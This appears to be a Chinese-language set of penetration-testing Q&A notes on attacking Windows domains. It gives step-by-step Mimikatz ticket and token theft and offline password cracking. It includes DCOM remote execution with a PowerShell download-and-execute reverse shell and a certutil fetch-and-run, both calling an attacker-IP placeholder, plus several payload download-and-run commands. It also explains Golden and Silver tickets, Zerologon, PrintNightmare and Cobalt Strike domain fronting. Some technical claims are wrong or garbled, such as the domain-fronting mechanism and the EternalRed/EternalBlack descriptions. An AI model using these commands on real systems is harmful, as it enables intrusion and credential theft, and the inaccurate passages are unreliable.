这个技术是在 Kerberos 认证环境下使用的,更加高级和隐蔽

  • 执行方式: 利用 Mimikatz 或其他工具,从内存中窃取用户的 Kerberos 票据(Ticket),然后将这个票据注入到你的攻击机内存中
  • 具体思路:
    1. 在目标机器上获得一个域用户的会话
    2. 使用 Mimikatz 的 sekurlsa::tickets /export 命令,导出内存中的 Kerberos 票据
    3. 将导出的票据文件传送到你的攻击机
    4. 在你的攻击机上,使用 kerberos::ptt 命令,将票据注入到你的会话中
    5. 现在,你可以像票据的主人一样访问域内资源,而无需知道密码或哈希

这种方法的好处是,它不涉及密码或哈希的传输,更加难以被检测


桌面有管理员会话,怎么做会话劫持

步骤一:获取 SYSTEM 权限

要窃取管理员的令牌,你首先需要获得比该管理员会话更高的权限,通常是 SYSTEM 权限

  • 方法一: 如果你当前是以管理员权限运行的,可以尝试直接使用 Mimikatz 的 token::elevate 命令,它会尝试提升到 SYSTEM 权限
  • 方法二: 如果当前权限较低,可以通过提权漏洞(如服务权限配置错误、内核漏洞等)来提升到 SYSTEM 权限

步骤二:识别目标进程

你需要找到一个由管理员账户启动的进程,该进程的令牌是你想要窃取的。通常,你可以通过 tasklist /v 命令来查看所有进程及其所属的用户

  • 常用目标进程:
    • explorer.exe:这是桌面进程,通常由当前登录的用户启动
    • winlogon.exe:这是一个关键的系统进程,与用户会话和登录相关
    • 其他由管理员账户启动的应用程序

步骤三:窃取并冒用令牌

一旦你有了 SYSTEM 权限,就可以使用 Mimikatz 来窃取令牌

  • 命令:
    1. mimikatz.exe
    2. privilege::debug
    3. token::elevate
    4. whoami (此时你应该看到你是 NT AUTHORITY\SYSTEM
    5. ts::session (列出所有会话,找到管理员的会话 ID)
    6. ts::s + <会话ID> (切换到管理员的会话)
    7. token::list (列出当前会话的所有令牌,找到管理员的令牌)
    8. token::impersonate /p:<进程ID> (冒充管理员会话的某个进程的令牌)
    9. whoami (此时你应该看到你已经是管理员用户了)

步骤四:执行命令

当你成功冒充管理员身份后,你就可以执行任何管理员权限的命令,例如:

  • shell powershell
  • shell cmd.exe
  • 创建新的管理员账户
  • 执行横向渗透命令(如 PsExecWMI

当前机器上有一个密码本但被加密了,应该怎么办

1. 识别加密算法和工具

首先,你需要弄清楚这个密码本是用什么工具加密的,或者使用了哪种加密算法。这能帮你选择正确的破解方向和工具。

  • 文件名或扩展名: 看看文件有没有特殊的扩展名,比如 .rar.7z.zip 等。如果是压缩文件,那破解思路就清晰多了
  • 文件头分析: 使用十六进制编辑器(如 HxDWinHex)打开文件,检查文件头(前几个字节)。不同的文件格式,其文件头是不同的,这能给你一些线索
  • 关联进程或应用程序: 检查这台机器上是否安装了加密软件,比如 VeraCrypt7-ZipWinRAR 等。如果你能找到相关的加密工具,那破解会更容易

2. 尝试常见密码和弱口令

这是最简单,但往往也是最有效的办法。很多人会使用简单、容易记住的密码

  • 常见密码字典: 尝试一些常见的弱口令,比如 123456passwordadminqwerty
  • 基于用户信息生成字典: 如果你对这台机器的用户有所了解,可以生成一个针对性的字典。比如,用户名、生日、公司名、项目名等

3. 利用破解工具

一旦你确认了加密类型,就可以使用专门的破解工具进行暴力破解或字典攻击。

压缩文件(RAR, ZIP, 7z)

  • John the Ripper (JTR): 一个强大的离线密码破解工具。它支持多种哈希类型和加密格式,可以用于破解加密的压缩文件
  • Hashcat: 另一款非常流行的 GPU 加速密码破解工具。Hashcat 的速度比 JTR 快很多,特别适合面对复杂密码
  • 专用工具: 比如 fcrackzip7z2john(JTR 自带),这些工具能把加密文件的哈希提取出来,然后用 JTR 或 Hashcat 进行离线破解

磁盘加密或容器(VeraCrypt, BitLocker)

  • Mimikatz 的 sekurlsa::dpapi 如果管理员会话还在,并且你拥有 SYSTEM 权限,可以尝试用 mimikatz 抓取 DPAPI 的主密钥。这个主密钥通常用于加密其他密钥,可能可以用来解密加密卷
  • VeraCrypt 破解: 有一些开源工具可以配合 Hashcat 来破解 VeraCrypt 容器。但这个过程通常非常耗时,且需要强大的算力

4. 提取哈希并离线破解

如果可能,你应该将密码本的哈希提取出来,然后带回到你的本地机器上进行离线破解。这样做有几个好处:

  • 隐蔽性: 避免在目标机器上运行高强度的 CPU/GPU 任务,从而减少被安全软件检测到的风险
  • 效率: 你可以使用自己的高性能硬件(如 GPU)来进行破解,速度会快很多

具体步骤:

  1. 找到对应的哈希提取工具: 例如,zip2johnrar2john7z2john。这些工具可以从加密文件中提取出哈希
  2. 提取哈希: 在目标机器上运行这些工具,生成一个哈希文件
  3. 下载哈希文件: 将这个小小的哈希文件传回你的本地机器
  4. 本地破解: 在你的本地机器上,使用 John the RipperHashcat 等工具,针对这个哈希进行字典攻击或暴力破解

Dcom 怎么操作

利用 DCOM 执行命令

这里我们主要介绍使用 Impacket 中的 dcomexec.py 工具,因为它非常灵活且功能强大

基本语法:

1
dcomexec.py <domain>/<username>:<password>@<target_ip> 'command'

示例:

假设你拥有一个域用户 testuser 的密码 Password123!,目标机器 IP 是 192.168.1.100,你想执行 whoami 命令

1
dcomexec.py testdomain/testuser:Password123!@192.168.1.100 'whoami'

如果成功,你会看到命令的输出

利用 DCOM 获取交互式 Shell

仅仅执行单条命令是不够的,通常我们希望获得一个交互式的 Shell。dcomexec.py 同样可以做到

示例:

使用 dcomexec.py 启动一个反弹 Shell 的命令

  1. 监听端口: 在你的攻击机上,用 netcat 或其他工具监听一个端口,例如 4444

    1
    nc -lvnp 4444
  2. 执行命令: 在目标机器上,利用 DCOM 执行一个 PowerShell 反弹 Shell 的命令。你需要将 <attacker_ip><port> 替换为你的实际 IP 和端口

    1
    dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "powershell -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadString('http://<attacker_ip>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <attacker_ip> -Port 4444"

    或者使用更简单的 certutil 下载并执行恶意脚本:

    1
    dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "cmd.exe /c certutil.exe -urlcache -f http://<attacker_ip>/shell.bat && shell.bat"

    如果成功,你的 netcat 监听器上会收到一个反弹回来的 Shell


    获取域控的方法有哪些

1. 信息收集与利用

SYSVOL

SYSVOL 是 Active Directory 中的一个共享文件夹,用于存储域内所有域控的公共文件,比如组策略(Group Policy)脚本。在渗透测试中,SYSVOL 是一个宝贵的信息源。攻击者可以通过访问 \\<domain_name>\SYSVOL\<domain_name>\Policies 路径,获取域内所有用户的组策略信息。这些文件中可能包含硬编码的密码、管理员账户信息或其他敏感配置,有时可以直接利用这些信息进行横向移动

SPN 扫描

SPN 是服务在 Kerberos 认证中的唯一标识。SPN 扫描(通常使用工具如 setspn -T <domain> -q */* 或 PowerView)可以发现域内所有注册了 SPN 的服务。许多服务(如 SQL Server、IIS 等)会使用域服务账户运行。如果这些服务账户的密码较弱,攻击者可以通过 Kerberoasting 攻击,请求这些服务的 TGS 票据,然后离线破解票据中的哈希,从而获取服务账户的明文密码

2. 凭证窃取与传递

凭证窃取

这是渗透测试中的核心技术。除了之前提到的 Mimikatz 和 LSASS 转储,还有其他多种方式:

  • 注册表和文件窃取: 许多应用程序会在注册表或文件中存储凭据
  • 浏览器凭据: 窃取浏览器中保存的密码

黄金票据与白银票据

这是 Kerberos 认证体系中的两种强大攻击方式,能让攻击者在域内获得几乎无限的权限

  • 黄金票据 (Golden Ticket): 利用域内 KDC 服务的哈希(通常是 krbtgt 账户的哈希),伪造一个任意用户的 Kerberos TGT 票据。这个票据可以让我们在整个域内伪装成任何用户(通常是域管理员),访问任何服务。只要 krbtgt 账户的哈希没有改变,这个票据就是“永恒”的,可以持久化控制整个域
  • 白银票据 (Silver Ticket): 利用特定服务账户的哈希(如 CIFSMSSQLSvc),伪造一个特定服务的 Kerberos TGS 票据。这个票据只能用于访问该特定服务,权限相对受限,但同样非常强大

哈希传递攻击和 NTLM Relay

  • NTLM Relay: 攻击者在域内中间人攻击中,截获用户的 NTLM 认证请求,并将其转发到另一个服务(如 SMB、LDAP、HTTP 等),从而以受害用户的身份在该服务上执行操作。如果被中继的用户是域管理员,攻击者可以在没有明文密码的情况下,以域管理员的身份在目标机器上创建新的账户或执行其他恶意操作

3. 特殊漏洞利用与攻击链

Kerberos 委派

Kerberos 委派允许一个服务以用户的身份去访问另一个服务。如果配置不当,攻击者可以利用非约束性委派或约束性委派中的漏洞,在特定条件下实现权限提升和横向移动。例如,如果一个服务配置了非约束性委派,攻击者可以劫持该服务,等待域管理员访问,从而获取其 TGT 票据,实现权限提升

MS14-068 (Kerberos 漏洞)

这是一个古老的但经典的 Kerberos 漏洞。攻击者可以利用该漏洞在未打补丁的域内普通主机上,伪造一个有效的 Kerberos 票据,并利用这个票据来提升权限,最终以域管理员身份获取域控权限。尽管现在大多数系统都已打补丁,但了解其原理对渗透测试仍然有价值

Zerologon 漏洞 (CVE-2020-1472)

这是一个非常严重的漏洞。它允许攻击者在未认证的情况下,通过 Netlogon 协议将域控的机器账户密码重置为空。一旦密码被重置,攻击者就可以以该账户(例如 DC01$)的身份完全接管域控。在渗透测试中,这是最直接和高效的获取域控权限的方法之一

CVE-2021-42278 和 CVE-2021-42287

这是两个密切相关的 Kerberos 漏洞,通常被称为“SAMAccountName 欺骗攻击

  • CVE-2021-42278: 允许攻击者通过修改一个非域控计算机账户的 sAMAccountName 属性,将其伪装成域控
  • CVE-2021-42287: 结合前一个漏洞,当域内服务发现一个机器账户的 sAMAccountName 属性与域控名称一致时,它会为该账户请求一个 TGT 票据。攻击者利用这个 TGT 票据,可以冒充域控,进一步获取 krbtgt 账户的哈希,最终实现黄金票据攻击

DLL 劫持原理

Windows 系统在加载一个程序所需的 DLL 文件时,会遵循一个固定的搜索路径。这个路径通常包括:

  1. 程序所在目录:这是优先级最高的。系统会首先在可执行文件所在的文件夹内查找所需的 DLL。
  2. 系统目录:如 C:\Windows\System32
  3. 16 位系统目录C:\Windows\System
  4. Windows 目录C:\Windows
  5. 当前工作目录:程序启动时所在的目录。
  6. 环境变量 PATH 中指定的目录

DLL 劫持正是利用了第一条规则。很多软件在编程时,并没有指定所需 DLL 的绝对路径,而是依赖于系统的默认搜索顺序。如果攻击者知道某个程序需要加载一个名为 abc.dll 的文件,他们就可以制作一个同名的恶意 DLL,并将其放置在程序所在的文件夹中。当用户双击运行这个程序时,系统会优先加载这个恶意的 abc.dll,而不是位于系统目录中的合法 DLL


DPAPI 机制能干嘛

DPAPI 最大的特点是,它将加密数据和加密密钥都存储在本地。这意味着,只要我们能够以目标用户的身份登录系统,或者能够获取到该用户的主密钥(Master Key),我们就能解密所有被 DPAPI 加密的数据

而这个“主密钥”通常是和用户的登录密码哈希相关联的。一旦我们通过各种手段(如内存转储、LSASS 进程攻击)获取了用户的凭证哈希,我们就可以利用专门的工具来解密主密钥,进而解密所有 DPAPI 加密的数据


与 SMB 协议相关的漏洞有哪些

1. 永恒之蓝

这是最著名的 SMB 漏洞,没有之一。它利用了 SMBv1 协议中的一个远程代码执行漏洞(CVE-2017-0144

  • 漏洞原理: 攻击者通过向目标主机发送特制的数据包,利用 SMBv1 协议中处理内核模式下数据包的方式中的一个缓冲区溢出漏洞。一旦利用成功,攻击者便可以在目标主机上以系统权限远程执行代码

2. 永恒之蓝的变种与相关漏洞

永恒之蓝并非单一漏洞,而是与一系列相关漏洞紧密相连的武器库的一部分,其中一些同样非常危险

  • 永恒之红(EternalRed): 利用 SMBv1 协议中的另一个漏洞(CVE-2017-0143),用于侦测目标主机是否可被利用
  • 永恒之黑(EternalBlack): 同样是 SMBv1 协议的漏洞,用于窃取目标主机的哈希密码

这些漏洞通常与永恒之蓝协同工作,构成一个完整的攻击链,用于信息收集和代码执行

3. SMBGhost(SMBv3中的远程代码执行)

SMBGhost(又称 SMBleed)是针对较新版本 SMB 协议(SMBv3.1.1)的漏洞

  • 漏洞编号: CVE-2020-0796
  • 漏洞原理: 该漏洞是由于SMBv3协议处理压缩数据的方式存在一个整数溢出,导致内核模式下的远程代码执行。这个漏洞的危险之处在于它无需身份验证,只要目标主机的 445 端口开放,攻击者就可以直接利用

4. SMB中继攻击

SMB 中继攻击不是一个具体的代码漏洞,而是一种利用 SMB 协议设计缺陷的逻辑漏洞

  • 漏洞原理: 当一个用户尝试访问攻击者控制的 SMB 服务器时,攻击者可以捕获用户的 SMB 认证请求,并将其“中继”到另一个目标服务器。由于 SMBv2/v3 使用 NTLMv2 认证,攻击者可以不破解密码,而是直接利用用户的凭证哈希在目标服务器上进行身份验证
  • 影响: 攻击者可以绕过密码,以受害者的身份访问其他服务器,通常用于内网横向移动
  • 防范: 主要的防御措施是启用 SMB 签名。SMB 签名可以验证 SMB 数据包的完整性和来源,从而防止中继攻击

5. SMB1 远程代码执行(CVE-2017-0147)

这是一个在 SMBv1 中处理特殊数据包时存在的另一个漏洞,与永恒之蓝密切相关

  • 漏洞编号: CVE-2017-0147
  • 漏洞原理: 这是一个在 Srvnet.sys 驱动程序中处理 SMB 报文时存在的漏洞,攻击者可以发送一个恶意的 SMB请求来触发内核崩溃,从而导致远程代码执行

MS14-068 原理

1. MS14-068 漏洞的本质

这个漏洞发生在域控制器(Domain Controller)处理 Kerberos TGT 请求的环节。它的根源是 Kerberos 的一个签名验证绕过漏洞

在一个正常的 Kerberos 认证流程中:

  1. 用户使用自己的凭证(密码哈希)向域控制器请求 TGT
  2. 域控制器验证用户的凭证,并生成一个 TGT。这个 TGT 内部包含了用户的身份信息、权限组等数据,并且会用域控制器自身的密钥进行签名,以确保其完整性
  3. 用户拿到 TGT 后,可以用它向域控制器请求其他服务的票据,从而访问域内资源

而 MS14-068 的漏洞就出在第2步:域控制器对 TGT 签名的验证逻辑存在缺陷

2. 详细原理:利用过程

MS14-068 的攻击利用过程可以分解为以下几个关键步骤:

  • 步骤一:收集信息 攻击者需要一个普通域用户账户的凭证(用户名、密码哈希或 AES 密钥)。这个账户不需要任何特殊权限。同时,攻击者还需要知道域控制器的域 SID
  • 步骤二:伪造 SID(SID Splicing) 这是攻击的核心。攻击者在本地伪造一个身份信息,其中包含了普通用户的 SID,但同时还偷偷插入了一个伪造的域管理员组 SID(通常是 S-1-5-21-XXX-519,也就是 Domain Admins 的组 SID)
  • 步骤三:绕过签名验证 攻击者将伪造的身份信息打包成一个伪造的 Kerberos 请求。由于域控制器的签名验证机制存在缺陷,它不会正确地校验票据的完整性。当它收到这个请求时,它会错误地认为这个请求是合法的
  • 步骤四:生成高权限 TGT 域控制器被成功欺骗,它会根据伪造的请求,生成一个错误的 TGT。这个 TGT 包含的权限信息是伪造的,即它会错误地授予用户域管理员组的权限。最重要的是,这个错误的 TGT 会被用域控制器自身的密钥签名
  • 步骤五:权限提升 攻击者拿到这个被域控制器“官方认证”的、拥有域管理员权限的 TGT 后,就可以用它自由地访问域内任何资源。这个伪造的 TGT 和真正的域管理员的 TGT 没有任何区别

内网文件 exe 落地怎么去做,用什么命令去执行来落地

1. 文件落地前的准备

在执行文件落地之前,你需要做好以下准备工作:

  • 选择合适的工具:你需要一个轻量、隐蔽、功能强大的工具,例如 meterpreter,它支持直接在内存中执行 Shellcode,避免文件落地。如果你必须落地文件,可以选择用 C++ 或 Go 等语言编写的、没有明显恶意特征的自定义 Payload
  • 设置文件服务器:在你的攻击机上,你需要搭建一个简单的 Web 服务器或 SMB 服务器,以便目标机器能够下载文件
    • HTTP 服务器:在 Python 中,你可以用一行命令快速启动一个 HTTP 服务器:python3 -m http.server 80
    • SMB 服务器:使用 Impacket 工具包中的 smbserver.py 脚本,可以搭建一个 SMB 服务器

2. 内网文件落地常用命令

一旦你获得了目标机器的权限,就可以使用以下命令来下载文件:

方法一:使用 PowerShell (推荐)

PowerShell 是现代 Windows 系统自带的强大脚本语言,也是渗透测试中最常用的文件落地工具

  • 使用 Invoke-WebRequestiwr 这是最常用的方法,它可以在后台下载文件,并且功能强大

    1
    2
    3
    4
    # 下载文件并保存到指定路径
    Invoke-WebRequest -Uri http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe
    # 或者使用别名
    iwr http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe
  • 使用 .NET 对象 这种方法更隐蔽,因为它直接调用 .NET 库,而不是通过一个特定的 cmdlet

    1
    2
    $WebClient = New-Object System.Net.WebClient
    $WebClient.DownloadFile("http://<攻击机IP>/payload.exe", "C:\Users\Public\payload.exe")

方法二:使用 certutil

certutil 是 Windows 系统自带的命令行工具,通常用于管理证书,但它也提供了下载文件的功能

  • 下载命令

    1
    certutil -urlcache -split -f "http://<攻击机IP>/payload.exe" C:\Users\Public\payload.exe
    • -urlcache:允许从 URL 下载
    • -split:将下载的文件保存为独立文件
    • -f:强制下载文件

方法三:使用 bitsadmin

bitsadmin 是 Windows 后台智能传输服务(BITS)的命令行工具。BITS 服务主要用于在网络中断后自动恢复下载,非常适合在不稳定网络环境下使用

  • 下载命令

    1
    bitsadmin /transfer myjob http://<攻击机IP>/payload.exe C:\Users\Public\payload.exe

方法四:使用 SMB 协议

如果你在攻击机上搭建了 SMB 服务器,可以直接通过 SMB 协议传输文件,这在许多环境中比 HTTP 更隐蔽

  • 下载命令

    1
    copy \\<攻击机IP>\share\payload.exe C:\Users\Public\payload.exe

方法五:将文件内容写入文件

这是一个非常隐蔽的方法,特别适用于 Shell 权限受限,无法直接执行下载命令的情况

  • 原理:你将文件的二进制内容转换为文本格式(例如十六进制字符串),然后通过 echo 命令或 certutil -decode 等方式,将文本内容写入一个新文件,并将其解码为可执行文件

  • 示例

    1. 在攻击机上,将 payload.exe 转换为 Base64 编码:base64 payload.exe > payload.b64

    2. 在目标机上,使用 echo 将 Base64 字符串写入一个临时文件:

      1
      echo <base64编码字符串> > C:\Users\Public\payload.b64
    3. 使用 certutil 将 Base64 文件解码为可执行文件:

      1
      certutil -decode C:\Users\Public\payload.b64 C:\Users\Public\payload.exe

3. 文件落地后的执行

文件落地成功后,你需要执行它。执行命令取决于你获得的权限

  • 在命令行中直接执行 如果你已经获得了 Shell,可以直接输入文件路径来执行:C:\Users\Public\payload.exe

  • 使用 psexec 如果你有域管理员权限,可以使用 psexec 在目标机器上远程执行文件

  • 使用 WMI 利用 Windows Management Instrumentation (WMI),你可以通过远程方式在目标机器上执行进程

    1
    wmic process call create "C:\Users\Public\payload.exe"

DB 文件如何解密,原理是什么

数据库文件解密主要取决于加密类型密钥的存储位置。许多数据库系统(如 MySQL、SQL Server、PostgreSQL)都提供了数据加密功能,通常分为以下几种类型:

  1. 文件系统加密:例如,使用 Linux 的 LUKS 或 Windows 的 BitLocker 等,对整个硬盘分区进行加密。这种情况下,数据库文件本身并没有加密,而是其所在的整个文件系统被加密了

    • 解密原理:只要系统成功启动并解锁了加密分区,你就可以像访问普通文件一样访问 DB 文件。解密的密钥通常存储在系统内存中或 TPM (可信平台模块) 芯片中
  2. 透明数据加密:这是一种在数据库级别实现的加密,对整个数据库文件进行实时加密。当数据写入磁盘时,它会被加密;当数据从磁盘读取到内存时,它又会被自动解密

    • 解密原理:TDE 的加密和解密过程对用户是透明的,但它的加密密钥通常存储在一个主密钥(Master Key)或证书中,而主密钥又被另一个**服务主密钥(Service Master Key)**保护。这些密钥通常与数据库实例或操作系统相关联,因此,即使你拿到加密的 DB 文件,如果没有密钥,也无法解密
  3. 应用层加密:数据在被写入数据库之前,由应用程序进行加密

    • 解密原理:这种加密通常依赖于应用程序代码中的硬编码密钥或外部密钥管理服务。解密必须通过应用程序,或者你有能力获取加密密钥并使用相应的加密算法进行解密

PTH 中 LM hash 和 NTLM hash 的区别

LM Hash (LAN Manager Hash)

  • 全称:LAN Manager Hash
  • 哈希算法:它是一种非常老旧且脆弱的哈希算法,主要用于 Windows NT 4.0 及更早的版本
  • 加密方式
    1. 将用户的明文密码转换为大写
    2. 如果密码长度超过 14 个字符,只取前 14 个。如果不足 14 个,用空字符填充到 14 个
    3. 将 14 个字符的密码分成两部分,每部分 7 个字符
    4. 分别使用 DES(Data Encryption Standard)算法进行加密
  • 主要缺陷
    • 不区分大小写:LM 哈希会将所有字母都转换为大写,导致密码的复杂性大大降低,例如 passwordPASSWORD 会生成相同的 LM 哈希
    • 分段加密:将密码分成两段,每段单独加密,这使得哈希破解变得非常容易,攻击者可以分别破解这两段,大大缩短破解时间
    • 无盐值:它没有使用盐值(Salt),这使得攻击者可以使用彩虹表(Rainbow Table)进行快速破解

结论:LM 哈希非常不安全,很容易在几秒钟内被破解。从 Windows Vista 和 Windows Server 2008 开始,LM 哈希默认是禁用的,除非为了向后兼容性而手动启用

NTLM Hash (NT LAN Manager Hash)

  • 全称:NT LAN Manager Hash

  • 哈希算法:它使用了 MD4 哈希算法,并且不对密码进行大小写转换或填充

  • 加密方式

    1. 将用户的明文密码转换为 UTF-16LE 编码
    2. 对 UTF-16LE 编码的密码进行 MD4 哈希运算
  • 主要特点

    • 区分大小写:NTLM 哈希保留了密码的大小写,这增加了哈希破解的难度
    • 没有分段:它对整个密码进行一次性哈希运算,而不是分段
    • 依然没有盐值:尽管比 LM 哈希更安全,但 NTLM 哈希仍然没有使用盐值,因此,如果密码简单或在字典中,仍然可以通过彩虹表或字典攻击被破解

1. 漏洞原理

Print Nightmare 的核心原理是权限升级任意文件写入。它利用了 RpcAddPrinterDriver 这个 RPC(远程过程调用)函数中存在的逻辑缺陷

  • RpcAddPrinterDriverEx 函数:这是一个用于在服务器上安装打印机驱动的函数。通常情况下,只有拥有管理员权限的用户才能调用这个函数
  • 非特权用户的利用:漏洞的根源在于,攻击者发现可以通过一个普通用户的身份,调用这个函数,并让其加载一个恶意的 DLL 文件
  • 权限升级:当打印后台处理程序(spoolsv.exe)以 SYSTEM 权限运行,并加载这个恶意 DLL 文件时,恶意代码也会以 SYSTEM 权限执行,从而实现权限提升

简单来说,攻击者利用这个漏洞欺骗了 SYSTEM 权限的打印服务,让它去加载一个恶意的 DLL 文件,从而以最高权限运行恶意代码

2. 漏洞利用过程

一个典型的 Print Nightmare 漏洞利用过程可以分为以下几步:

  1. 准备恶意 DLL:攻击者首先需要编写一个恶意的 DLL 文件。这个 DLL 文件的核心功能是建立反向 Shell创建新的管理员账户或者执行任意系统命令
  2. 准备 SMB 共享:攻击者将这个恶意 DLL 文件放置在自己的机器上,并通过 **SMB(Server Message Block)**协议共享出来
  3. 发起 RPC 请求:攻击者以一个普通用户的身份,向目标机器的打印服务发起一个 RpcAddPrinterDriverEx RPC 请求
  4. 恶意 DLL 加载:在 RPC 请求中,攻击者指定要加载的驱动文件路径为自己的 SMB 共享路径。当打印服务收到这个请求后,它会以 SYSTEM 权限去连接攻击者的 SMB 共享,并加载恶意 DLL 文件
  5. 远程代码执行:一旦 DLL 文件被加载到 spoolsv.exe 进程中,其中的恶意代码就会被执行,从而在目标机器上获得 SYSTEM 权限

CS 域前置的原理

1. 核心原理:CDN 的工作方式

要理解域前置,首先要理解 CDN 的工作原理

  • CDN(Content Delivery Network):CDN 的核心作用是加速内容分发。它在全球部署了大量的节点服务器,当用户访问一个网站时,CDN 会将用户的请求重定向到离用户最近的节点上。这样,用户就能更快地获取内容
  • 多域名共享 IP:一个 CDN 节点通常会为成百上千个不同的域名提供服务。这意味着,cdn.example.comcdn.attacker.com 两个域名,可能解析到同一个 IP 地址

2. 域前置的攻击过程

域前置利用了 CDN 的这个特性,将攻击流量伪装成正常流量。整个过程可以分为以下几步:

  1. 准备阶段

    • 攻击者域名:攻击者注册一个自己的域名,例如 attacker.com,并将其配置为 Cobalt Strike 的 C2 域名
    • CDN 加速:攻击者将 attacker.com 接入一个大型 CDN 服务,例如 Cloudflare、Akamai 等。这样,attacker.com 就能使用 CDN 的 IP 地址
    • 高信誉域名:攻击者选择一个在高信誉 CDN 上托管的、合法的、与自己无关的域名,例如 cdn.google.comcdn.bing.com。这个域名就是我们所说的**“域前置”域名**
  2. 流量伪装

    • 客户端请求:受害者的机器(被植入 Beacon 的主机)向 Cobalt Strike C2 发送请求
    • 隐藏真实 C2:在 HTTP 请求的头部,攻击者做了如下设置:
      • Host: cdn.google.com:这个头部告诉 CDN 服务器,客户端要访问的是 Google 的 CDN 服务。由于这个域名是高信誉的,防火墙会放行这个流量
      • X-Forwarded-For: cdn.attacker.com:这个头部告诉 CDN,真实的请求目标是 cdn.attacker.com。这是域前置的关键
  3. CDN 转发

    • 当 CDN 节点收到请求时,它会先查看 Host 头。因为 Host 头是 cdn.google.com,CDN 就会认为这个请求是合法的,并不会拦截
    • 然后,CDN 会根据内部的转发规则,将请求转发到 X-Forwarded-For 头指定的域名所对应的服务器上
    • 最终,请求被转发到了攻击者的 Cobalt Strike C2 服务器

    CS 流量是怎么通信的

Beacon 的通信模型

Beacon 的通信模式是**客户端-服务器(Client-Server)**模型,其中受害者的机器是客户端,而攻击者控制的 Cobalt Strike 服务器(TeamServer)是服务器

  • 客户端(受害者机器):Beacon Payload 运行在受害者机器上,它会周期性地向 TeamServer 发送心跳包(”phoning home”),请求任务并上传结果
  • 服务器(TeamServer):TeamServer 监听来自 Beacon 的连接,接收其报告,并下发新的命令

这种通信模式被称为**“拉取-推送”(Pull-Push)**模型。Beacon 主动向 TeamServer 拉取任务,而不是 TeamServer 主动向受害者机器推送任务。这使得 Beacon 的行为更像一个正常的应用程序,例如一个云同步客户端


脏牛漏洞提权原理

1. 什么是写时复制(CoW)?

在 Linux 系统中,当一个进程需要复制一个文件或共享内存区域时,内核并不会立刻为新进程分配独立的内存空间并复制数据。相反,它会让两个进程共享同一块物理内存

只有当其中一个进程尝试修改这块内存中的数据时,内核才会触发“写时复制”机制:

  • 内核会为这个正在尝试写入的进程创建一个新的物理内存副本
  • 这样,原始进程的数据保持不变,而新进程可以在自己的私有内存副本上进行修改,而互不影响

这个机制极大地节省了内存和时间,提高了系统的效率

2. 漏洞是如何产生的?

“脏牛”漏洞的本质就在于写时复制(CoW)机制的一个缺陷

当一个非特权用户尝试访问一个只读文件(例如 /etc/passwd)时,内核会映射这个文件的内存页。按照 CoW 机制,用户无法修改它

然而,内核在处理以下两个操作时,存在一个竞争条件

  • 操作一: 一个线程使用 madvise(MADV_DONTNEED) 系统调用来丢弃一个内存页。这个调用告诉内核:我不需要这个页了,你可以把它从内存中释放掉
  • 操作二: 另一个线程尝试执行写入操作,触发 CoW 机制,申请一个新的私有内存页

正常的流程应该是:如果一个线程在尝试写入,内核会先为其分配新的内存,然后再进行写入。但是,这个漏洞的巧妙之处在于,通过精巧地控制这两个操作的执行时机,可以制造出一个“时间窗口”

攻击者利用这个时间窗口,在内核准备为写入操作分配新内存之前,通过 madvise() 使得内核错误地取消了 CoW 的正常流程。结果是,内核没有为写入操作创建一个私有的内存副本,而是直接在原始的只读内存页上进行了写入

3. 如何利用这个漏洞?

攻击者利用这个漏洞的流程通常如下:

  1. 选择目标文件: 攻击者选择一个具有 root 权限的只读文件,例如 /etc/passwd,该文件包含了系统用户的账户信息
  2. 多线程并发: 攻击者启动两个线程,一个线程不断地尝试对 /etc/passwd 进行写入操作(例如,写入一个新的 root 用户账户),另一个线程则持续调用 madvise() 来触发竞争条件
  3. 成功写入: 在竞争条件被触发的瞬间,写入操作会绕过 CoW 机制,直接修改 /etc/passwd 的内存内容
  4. 获取权限: 攻击者随后会利用修改后的文件,通过新的 root 用户账户成功登录系统,从而获得 root 权限

黄金票据和白银票据区别

黄金票据(Golden Ticket)

黄金票据是一种伪造的 TGT(Ticket Granting Ticket),它允许攻击者以任意用户的身份(通常是域管理员)访问域内所有资源

攻击原理

黄金票据攻击的核心是获取域控制器(Domain Controller,DC)的 krbtgt 账户哈希krbtgt 是一个特殊的服务账户,它用于加密和签名所有颁发的 Kerberos 票据。只要掌握了这个哈希,攻击者就可以在任何机器上离线伪造一个有效的 TGT

攻击步骤

  1. 权限提升:攻击者需要先在域内获取一个普通用户的权限,然后通过其他漏洞(如 ZerologonPetitPotam)提升到域管理员权限
  2. 获取哈希:利用像 Mimikatz 这样的工具,从域控制器内存中导出 krbtgt 账户的哈希
  3. 伪造票据:使用 Mimikatz,利用导出的 krbtgt 哈希来伪造一个 TGT。这个 TGT 可以包含任何用户名、SID(用户安全标识符)和组信息,通常会伪造一个高权限用户(如Domain Admins
  4. 权限维持:伪造的票据可以被攻击者用来请求其他服务票据(ST),从而访问域内所有服务和资源,且无需与域控制器进行任何交互

攻击特点

  • 攻击范围广:攻击者可以以任何身份访问域内所有资源,因为伪造的 TGT 是最高级别的认证凭证
  • 权限持久:只要攻击者拥有 krbtgt 哈希,就可以在任何时间、任何地点伪造新的 TGT,实现了对整个域的永久控制
  • 难以检测:由于攻击不依赖特定用户的密码,且攻击流量与正常 Kerberos 流量相似,因此在没有专门监控的情况下很难被发现

白银票据(Silver Ticket)

白银票据是一种伪造的 ST(Service Ticket),它允许攻击者以任意用户的身份访问特定的服务,而不是整个域

攻击原理

白银票据攻击的核心是获取特定服务账户的哈希。在 Kerberos 中,每个服务(如HTTPMSSQLCifs等)在域内都有一个对应的服务账户。攻击者只要获取了某个服务账户的哈希,就可以伪造一个该服务的有效 ST。

攻击步骤

  1. 权限提升:攻击者需要先获取一个普通用户的权限,然后通过其他漏洞获取到目标服务所在的机器的本地管理员权限
  2. 获取哈希:在目标服务器上,利用 Mimikatz 等工具,从内存中导出特定服务账户的哈希
  3. 伪造票据:使用 Mimikatz,利用导出的服务账户哈希来伪造一个 ST。这个 ST 只能用于访问特定的服务,且同样可以包含任意用户名和组信息
  4. 访问服务:伪造的 ST 可以被攻击者用来直接访问该服务,无需经过域控制器进行 TGT 认证

攻击特点

  • 攻击范围小:白银票据只能访问特定服务,无法像黄金票据那样横向移动到所有域内资源
  • 无需域控制器:攻击者可以直接与目标服务进行交互,无需与域控制器进行任何通信,这使得攻击更加隐蔽
